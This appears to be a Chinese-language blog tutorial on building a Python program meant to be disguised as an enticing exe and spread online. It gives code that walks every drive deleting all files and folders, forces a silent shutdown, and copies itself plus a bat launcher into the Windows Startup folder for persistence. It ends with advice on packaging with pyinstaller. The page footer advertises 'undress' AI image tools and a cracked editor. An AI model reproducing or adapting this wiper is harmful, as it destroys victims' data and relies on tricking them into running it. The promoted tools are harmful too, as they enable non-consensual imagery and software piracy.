今天我們要做的案例是怎麼利用Python做一個hacker軟體。
眾所周知,一般的Hacker對於黑操作系統一般常用手法莫過於發送木馬客戶端,修改系統註冊表。
群組策略,取得開機啟動權限,入侵電腦然後對電腦的檔案進行修改以達到不可告人的目的。
今天我們要講的就是最基礎的,怎樣獲得開機啟動,先給大家講最基礎添加文件到系統啟動項的資料夾中,當然更加高端點也可以使用註冊表添加,這裡不在累述。好了,下面開始正題。 。 。 。 。 。
#/實作步驟/
首先我們透過社會工程學進行一個分析,準備一個足夠吸引人的exe檔名稱好讓人第一眼看到就想點擊它的慾望;等到別人點擊了之後了這個程式是沒有任何回應的,那麼有的人也許會多點幾下程序,當然這也對程序沒有任何影響。下面我們來看看:
首先我們得取得系統盤盤符,這個我們可以使用os模組透過對環境變數的字典鍵值來得到目前系統碟盤符。
import os print(os.getenv('SystemDrive'))
得到盘符后我们先可以将他的目录下的文件和文件夹打印出来
aa=os.getenv('SystemDrive') os.chdir(aa+'\\\\') \#修改当前目录 os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中
然后我们只需要删除盘符下的文件夹和文件即可
所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录
好了。我们开始吧,由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样
path = r"C:\\Users\\Administrator\\Desktop\\sa"
os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。
os.walk()方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。
语法:
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])
参数:
top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。
topdown --可选,为True或者没有指定,一个目录的的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。
如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。
onerror -- 可选,是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后,继续walk,
或者抛出exception终止walk。
for root,dirs,files in os.walk(path,topdown=False): \#遍历目录 for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name))
其实还有一种方法,就是shutil.rmtree(path),但是它会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误
得到了系统盘符之后,我们还想得到系统其它盘符那该怎么办了,不着急,我们可以试试下面这种方法。
import os import string def get_pan(): disk_list=[] \#磁盘盘符列表 for p in string.ascii_uppercase: \#遍历所有大写字母 disk=p+':' if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头 disk_list.append(disk) \#添加到盘符列表 return disk_list print(get_pan()) #打印盘符
结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了~
光打印一个磁盘目录文件好像显得有点美中不足,于是我决定吧所有磁盘目录文件都整出来,老样子,还是树形结构。
这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。
然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\'] for y in g: for root, dirs, files in os.walk(y,topdown=False):\#遍历目录 for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name))
ok,我们已经将文件及目录全部删除。
删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机,shutdown ,我的不二选择,它的方法有很多,用法如下:
shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f] /m \computer[/d [p|u:]xx:yy [/c “comment”]]
没有参数 显示帮助。这与键入 /? 是一样的。
/? 显示帮助。这与不键入任何选项是一样的。 /i 显示图形用户界面(GUI)。这必须是第一个选项。 /l 注销。这不能与 /m 或 /d 选项一起使用。 /s 关闭计算机。 /sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。 /r 完全关闭并重启计算机。 /g 完全关闭并重新启动计算机。在重新启动系统后,重启任何注册的应用程序。 /a 中止系统关闭。这只能在超时期间使用。 与 /fw 结合使用,以清除任何未完成的至固件的引导。 /p 关闭本地计算机,没有超时或警告。可以与 /d 和 /f 选项一起使用。 /h 休眠本地计算机。可以与 /f 选项一起使用。 /hybrid 执行计算机关闭并进行准备以快速启动。必须与 /s 选项一起使用。 /fw 与关闭选项结合使用,使下次启动转到固件用户界面。 /e 记录计算机意外关闭的原因。 /o 转到高级启动选项菜单并重新启动计算机。 必须与 /r 选项一起使用。 /m \\computer 指定目标计算机。 /t xxx 将关闭前的超时时间设置为 xxx 秒。 有效范围是 0-315360000 (10 年),默认值为 30。 如果超时时间大于 0,则默示为/f 参数。 /c "comment" 有关重新启动或关闭的原因的注释。最多允许 512 个字符。 /f 强制关闭正在运行的应用程序而不事先警告用户。 如果为 /t 参数指定大于 0 的值,则默示为 /f 参数。 /d [p|u:]xx:yy 提供重新启动或关闭的原因。 p 指示重启或关闭是计划内的。 u 指示原因是用户定义的。 如果未指定 p 也未指定 u,则重新启动或关闭是计划外的。 xx 是主要原因编号(小于 256 的正整数)。 yy 是次要原因编号(小于 65536 的正整数)。
所以我们得调用os.popen('shutdown /f /sg'),这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈,当然这个操作得是基于文件操作结束后进行的,再次进行优化
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\'] for y in g: try: #遍历目录 for root, dirs, files in os.walk(y,topdown=False): for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name)) time.sleep(1) except Exception: pass finally: os.popen('shutdown /f /sg')\#不弹出黑窗口
我们把程序发到网上运气好别人点击了,得让那个文件在自启动目录然后每次开机那个程序才会跟着启动啊,但是你想让别人把那个文件放到启动目录里去,做梦呢?这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。
在这里我以Python 和bat为主,因为我还没打包的缘故。
自启动目录路径: C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup import shutil shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\gc1.py')
在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然它可以复制,如果你非得用这个方法,记得抛异常。好了,现在可以了:
然后我们还需要一个bat来启动它,因为没有bat它是需要借助外力去点击才有效果的,有了bat就可以自动启动。
建立一个后缀为bat的文件,内容如下:
同樣的。我們還是需要我們的Python來智慧產生bat檔那麼該怎麼寫了,很簡單,有人問我為什麼是pythow不是Python,因為前者運行後沒有黑窗口,當然不管是創建bat檔還是複製程式檔都最好在刪除之後調用,有人問我,你的檔案都刪除完了,留那一個有何用,哈啊哈哈,我只能說,僅供娛樂。 。 。
回到正題,程式檔案只要建立一個就ok。
這樣就算是大功告成了,然後我們也可以把Python檔打包,這樣bat檔裡就不需要寫解釋器了,因為有的目標電腦可能沒有Python環境,這個時候需要我們用pyinstaller打包。打包好了之後,直接把bat檔內容改為start gc.exe就可以了。
打包成exe檔之後了,就可以發佈到網路上裝X啦,哈哈哈~
以上是使用Python一鍵刪除全碟檔案自動關機並留後門的詳細內容。更多資訊請關注PHP中文網其他相關文章!

要在有限的時間內最大化學習Python的效率,可以使用Python的datetime、time和schedule模塊。 1.datetime模塊用於記錄和規劃學習時間。 2.time模塊幫助設置學習和休息時間。 3.schedule模塊自動化安排每週學習任務。

Python在遊戲和GUI開發中表現出色。 1)遊戲開發使用Pygame,提供繪圖、音頻等功能,適合創建2D遊戲。 2)GUI開發可選擇Tkinter或PyQt,Tkinter簡單易用,PyQt功能豐富,適合專業開發。

Python适合数据科学、Web开发和自动化任务,而C 适用于系统编程、游戏开发和嵌入式系统。Python以简洁和强大的生态系统著称,C 则以高性能和底层控制能力闻名。

2小時內可以學會Python的基本編程概念和技能。 1.學習變量和數據類型,2.掌握控制流(條件語句和循環),3.理解函數的定義和使用,4.通過簡單示例和代碼片段快速上手Python編程。

Python在web開發、數據科學、機器學習、自動化和腳本編寫等領域有廣泛應用。 1)在web開發中,Django和Flask框架簡化了開發過程。 2)數據科學和機器學習領域,NumPy、Pandas、Scikit-learn和TensorFlow庫提供了強大支持。 3)自動化和腳本編寫方面,Python適用於自動化測試和系統管理等任務。

兩小時內可以學到Python的基礎知識。 1.學習變量和數據類型,2.掌握控制結構如if語句和循環,3.了解函數的定義和使用。這些將幫助你開始編寫簡單的Python程序。

如何在10小時內教計算機小白編程基礎?如果你只有10個小時來教計算機小白一些編程知識,你會選擇教些什麼�...

使用FiddlerEverywhere進行中間人讀取時如何避免被檢測到當你使用FiddlerEverywhere...


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

SAP NetWeaver Server Adapter for Eclipse
將Eclipse與SAP NetWeaver應用伺服器整合。

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

Atom編輯器mac版下載
最受歡迎的的開源編輯器

Dreamweaver CS6
視覺化網頁開發工具

EditPlus 中文破解版
體積小,語法高亮,不支援程式碼提示功能